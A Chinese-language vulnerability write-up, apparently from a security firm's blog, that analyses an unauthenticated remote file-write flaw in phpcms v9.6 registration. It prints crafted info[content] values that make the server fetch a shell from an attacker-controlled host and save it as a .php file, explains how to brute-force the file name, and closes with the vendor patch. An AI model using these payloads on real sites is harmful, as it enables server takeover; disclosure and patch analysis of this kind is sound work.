phpcms v9.6注册功能远程getshell 0day漏洞分析

phpcms在国内应该使用很多,前几天被爆出来一个getshell的0day,这个漏洞无需登录即可远程直接getshell,所以影响很大。phpcms官方4月12日发布了9.6.1版本,对漏洞进行了补丁修复。

漏洞分析:

在/phpcms/modules/member/index.php文件register函数处:

这里有一个$member_setting = getcache(‘member_setting’);

就是从/caches/caches_member/caches_data/member_setting.cache.php文件中取出用户注册相关的配置信息:

然后我们继续/phpcms/modules/member/index.php文件register函数,前面的一大部分都是根据member_setting的配置信息来判断用户注册过程的合法性,对注册进行验证的过程。

一直到下面的内容,130行:

当 用户配置信息中choosemodel=1时,加载了/caches/caches_model/caches_data/member_input.class.php和/caches/caches_model/caches_data/member_update.class.php文件,然后实例化了member_input类,并且传入$userinfo[‘modelid’]参数,这里的$userinfo[‘modelid’]就是$_POST[‘modelid’],

然后$_POST[‘info’]经过new_html_special_chars函数处理,new_html_special_chars函数在文件

\phpcms\libs\functions\global.func.php中,他的功能就是返回经htmlspecialchars处理过的字符串或数组:

经过处理的$_POST[‘info’] 进入到$member_input->get()函数,跟进get函数,文件/caches/caches_model/caches_data/member_input.class.php

这里在get函数中,将data=$_POST[‘info’]循环去除key和value内容

这里的$this->fields就在构造函数中:

也是获取了caches中的配置信息,这里的$modelid就是我们上面再register函数中实例化member_input类时传入的$userinfo[‘modelid’]参数,也就是$_POST[‘modelid’]),当$_POST[‘modelid’])=1时,就是文件/caches/caches_model/caches_data/model_field_1.cache.php

然后当这里的$field也就是我们传入的$_POST[‘info’]中key,等于content时,

$func = $this->fields[$field][‘formtype’] = $this->fields[‘content’][‘formtype’] = ‘editor’,

然后$value = $this->$func($field, $value) = editor($field, $value ),来看看editor函数,就在get函数下面:

$value变量和’content’进入了download函数,这里的’content’值也就是上面我们为什么要将$field设置为’content’的原因

跟进download函数,$this->attachment也是在构造函数中定义:

$this->attachment = new attachment(‘content’,’0′,$this->siteid),在文件/phpcms/libs/classes/attachment.class.php

在download函数的153-160行:

这里的$string = new_stripslashes($value),然后通过正则匹配$string,正则里面的$ext = ‘gif|jpg|jpeg|bmp|png’,

如果匹配到正则中的内容,就将第三个括号的匹配内容取出来,再进入$this->fillurl函数,对url进行处理。

我们先来看看一下这个正则:

/(href|src)=([\”|’]?)([^ \”‘>]+.($ext))\2/i,画个图解释一下,一目了然:

所以$string也就是我们post进来的数据的内容可以为如下格式:

href=http://www.attacker.com/shell.jpg或者src=http://www.attacker.com/shell.jpg

进化一下可以为如下内容:

href=http://www.attacker.com/shell.txt?.jpg或者src=http://www.attacker.com/shell.txt?.jpg

我们匹配出来的就是group #3,内容为http://www.attacker.com/shell.txt?.jpg

然后将group #3的匹配内容http://www.attacker.com/shell.txt?.jpg,进入$this->fillurl函数处理,跟进

大部分内容都在处理这个url,可以不用关注细节,看红框里面的内容就好了

首先将$surl使用#分割,然后去了#前面的内容(这里存在问题)

然后看这个$surl是不是http:/开始,如果是http:/开始讲http://替换为空,最后return时再加上http://

我们传入的内容通过正则后,再进fillurl函数处理,那么我们来构造一下我们传入的内容:

href=http://www.attacker.com/shell.txt?.php#.jpg或者src=http://www.attacker.com/shell.txt?.php#.jpg

然后通过fillurl函数处理后变成了:

href=http://www.attacker.com/shell.txt?.php或者src=http://www.attacker.com/shell.txt?.php

最后处理完成的url放入$remotefileurls数组中,在遍历一下$remotefileurls中的内容进行下一步处理:

首先看一下fileext函数,在文件\phpcms\libs\functions\global.func.php

很简单,也就是返回了文件名中以最后一个点后面的内容作为后缀

然后看$filename是如何命名的,函数$this->getname:

文件名为:$newfile = 以年月日时分秒+100到999三个随机数字+后缀

继续$upload_func = $this->upload_func = ‘copy’(在构造函数中定义为’copy’)

然后执行$upload_func($file, $newfile) = copy($file, $newfile),这里的$file就是我们传入的url文件内容,$newfile就是上面处理后单位文件名,将我们传入的远程文件$file 保存为本地的$newfile 文件

到这里就很清楚了,我们传入$_POST[‘info’]首先为一个数组info[content] ,

info[content]=href=http://10.65.20.198/shell.txt?.php#.jpg

然后经过处理后进入copy的$file为http://10.65.20.198/shell.txt?.php,这里的文件时shell.txt,.php被当做url的参数,但是处理在生成$newfile时,.php就成了后缀,最后生成的$newfile = 20170413111012216.php

最后远程shell.txt的内容就保存在了20170413111012216.php中,成功getshell。

最后的POC为:

最后生成的shell地址为:http://localhost/phpcms_v9.6.0_UTF8/uploadfile/2017/0413/20170413114450820.php

这里需要注意一下:

有些环境会将文件名直接通过sql报错爆出来,这里的sql报错是因为在register中,将$user_model_info内容insert到数据库了,

但是此时insert数据库时,插入的表中没有我们传入的content字段,导致报错,将最后的文件名报出来了。

也有一个问题就是,不是所有环境都能走到这一步insert数据库导致报错,因为只有当我们传入的注册信息最后随机,就是用户名,邮箱等尽量足够随机时$status 的值才不为空,才能进入到insert处;

而且在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径;

最后的文件名就需要爆破,不过年月日时分秒+100到999三个随机数字,爆破的话还是很容易的。

漏洞修复:

官方在4.12号发布了9.6.1的补丁:

http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20151225_20170412_UTF8.zip

在补丁中对获取到后后缀进行了验证:

所以升级到官方最新版9.6.1就ok了。

有兴趣请下载:phpcms v9.6注册功能远程getshell 0day漏洞分析

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

Spread the word. Share this post!

Meet The Author

Leave Comment